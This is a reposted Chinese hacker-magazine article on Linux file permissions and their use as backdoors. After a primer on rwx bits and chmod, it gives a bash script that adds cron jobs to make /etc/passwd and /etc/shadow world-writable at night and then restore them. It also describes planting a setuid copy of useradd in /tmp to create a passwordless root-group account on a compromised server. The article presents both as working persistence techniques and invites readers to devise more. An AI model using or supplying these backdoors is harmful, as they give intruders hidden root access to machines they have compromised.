linux系统后门技术2(文件权限篇)注:已发表在《黑客手册》第7期

来源:互联网 发布:阿里云os手机商店 编辑:程序博客网 时间:2024/05/12 09:12

权限在linux中是一个很明显也很重要的概念,或许经常使用WINDOWS的朋友对于administrator的“没有什么不可以”早已习以为常,这并不是什么好事情,它会使你忽略文件权限在安全中的重要应用!在linux中,大多数的管理员并不直接去使用root,因为他们知道,一个“不小心”都有可能导致系统崩溃或者被入侵时导致直接被黑客拿到root权限,他们习惯使用sudo,这样在执行一些危险性大的命令时也是可以提醒一下自己。好了,闲言少续,我们今天要说的是linux文件权限在后门技术中的应用!

   我首先给初学者讲解一下linux中的文件权限的相关知识,对于权限已经了解的朋友可以直接到下边goto loop:。一个文件被创建后,我们有3种方式可以访问它:1读,用户或者程序可以访问文件的内容;2写,可以对其内容进行修改或者删除这个文件;3执行,如果文件是个程序,那么它可以被执行。每当我们执行一个ls -l的时候,我们可以看到类似如下内容,如图1

   第一列像“-rwsrwxrwx“这样的字符串就是文件权限和类型的标志,第二列是文件的属主,第三列是文件属主所在的组,第四列是文件的长度,第五列和第六列一起来表示文件被更新的日期和时间,最后一列是文件名。我们主要来关注第一列。算上最前面的横杠一共是10个字符,第一个字符是代表文件的类型。如果它是一个横杠那说明它是普通文件,字母d代表它是个目录,s代表它是个socket文件等等;后面的9个字符每3个一组分别代表文件属主权限、同组用户的权限、其它用户的权限,“r”代表读权限、“w”代表写权限、“x”代表执行权限,如果它们哪一个位置出现“-”说明对应的这个位置权限没有被设置。例如图1的第3行,“d rwx r-x r-x”(我用空格把这个字符串格开是为了大家看的更清楚,实际上是没有空格的)表示这个文件是个目录,它的属主对它有读写执行的权限,属主的同组用户对它只有读和执行的权限,其它用户对它也只有读和执行的权限。这些权限也可以用8进制数字来表示,r4w2x1,比如可读可写就是6,意思是4(r)+2(w) ,可读可执行就是54(r)+1(x)如果是-rwxrwxrwx这样的权限用8进制表示就是0777。对于权限还有一大堆的知识点我还没有说,如果你想深入了解的话还是应该找一些资料或者书仔细看一下,今天我们用这些已经足够。

   linux中,修改权限我们用chmod命令,比如我们想对图1的filesrv.c文件增加同组用户的读权限,命令如下chmod g+r filesrv.c,去掉属主用户的写权限chmod u-w filesrv.c 。我们看看执行这两条命令以后的权限位变化,如图2

权限位变成了-r--r----- ,说明修改成功,正如你想到的,chmod命令的参数g代表属组、u代表用户、o代表其它用户,+代表设置权限、-代表取消权限。其实chmod还有更方便的使用方法,比如设置-r--r-----这样的权限我们可以这样写chmod 440 filesrv.c

   loop:下面,我们来看看如何应用权限来设置后门。

   还记得我上篇文章里提到的/etc/passwd文件吗? 它默认的权限是644,如图3

也就是说只有它的属主root能修改它的内容,其它的用户只能读,那是当然了,因为这个文件就是“人事部名单”啊,当然只有“人事部长”--root可以改了。假如现在我们得到了一个linux服务器肉鸡,那么我们何不修改它文件权限作为我们的后门呢?运行chmod 666 /etc/passwd命令,把passwd文件修改为任何人都可以对它进行修改的权限,现在好了,人人都能当“人事部长”了,我们只需用一个普通用户,修改/etc/passwd把自己的UIDGID都设置为0就能达到提权的目的。但是,这样的设置是不是太明目张胆了!?呵呵,没关系,我们同样可以把它隐藏起来,还记得上篇文章的“借尸还魂”吗?呵呵,作法类似,利用crontab在深夜管理员睡觉的时候把passwd的权限修改成666,然后利用普通用户登录然后修改/etc/passwd内容提权,最后再把权限修改回去就可以了。

程序代码如下:

#!/bin/bash

echo '30 23 * * * chmod 666 /etc/passwd' >> /etc/door.cron;

echo '30 23 * * * chmod 666 /etc/shadow' >> /etc/door.cron;

echo '00 01 * * * chmod 644 /etc/passwd' >> /etc/door.cron;

echo '00 01 * * * chmod 644 /etc/shadow' >> /etc/door.cron;

service crond restart;

crontab /etc/door.cron;

 

   其实在linux权限的使用上,我们还有一个更有用的东西可以利用,它就是s位。这是linux安全的经典课题,它一直是个安全维护的棘手问题,甚至现在很多linux系统供应商不允许实现这一位,或者即使它存在也忽略它。那么它到底是怎么样一种设置呢?我们来看图1的第二行第1列,-rwsrwxrwx,在文件属主的执行权限位上并不是写着x,而是s,这个标志位使文件在被任何用户执行时,都具有与文件属主同样的权限,也就是相当于文件的所有者在运行这个文件。拥有这个位置的典型的文件就是 /usr/bin/passwd,它的权限标志是“-rwsr-xr-x,如果一般用户执行该文件, 则在执行过程中, 该文件是以root的身份去执行的, 从而可以更改用户的密码。既然它这么方便,我们怎么能不利用呢,随便举个例子,我们可以把“/usr/sbin/useradd”复制一个出来,然后给它加上s位再放到一个不起眼的地方去,比如“/tmp/useradd”,这样在以后我们用普通用户登录肉鸡后,就可在利用这个“/tmp/useradd -d /home/door -p '' -g root -u 512 door”命令来增加一个UID512root组用户了!注意,一定要加上这个-p ''(''中间为空),设置密码为空,否则帐户不会被激活!其实这只是s位利用的一个小方法,由于它可以被加在很多文件上,所以后门驻留方法也有很多,你不妨自己想想看如何作的更好!

   OK!到此本文就结束了,今天给大家讲解了文件权限以及它在后门方向上的应用,没有什么高深的技术含量,但是技术要靠知识的积累和创新,掌握这些知识再加上您的创新相信您一定会成功!好,下期再见!88

原创粉丝点击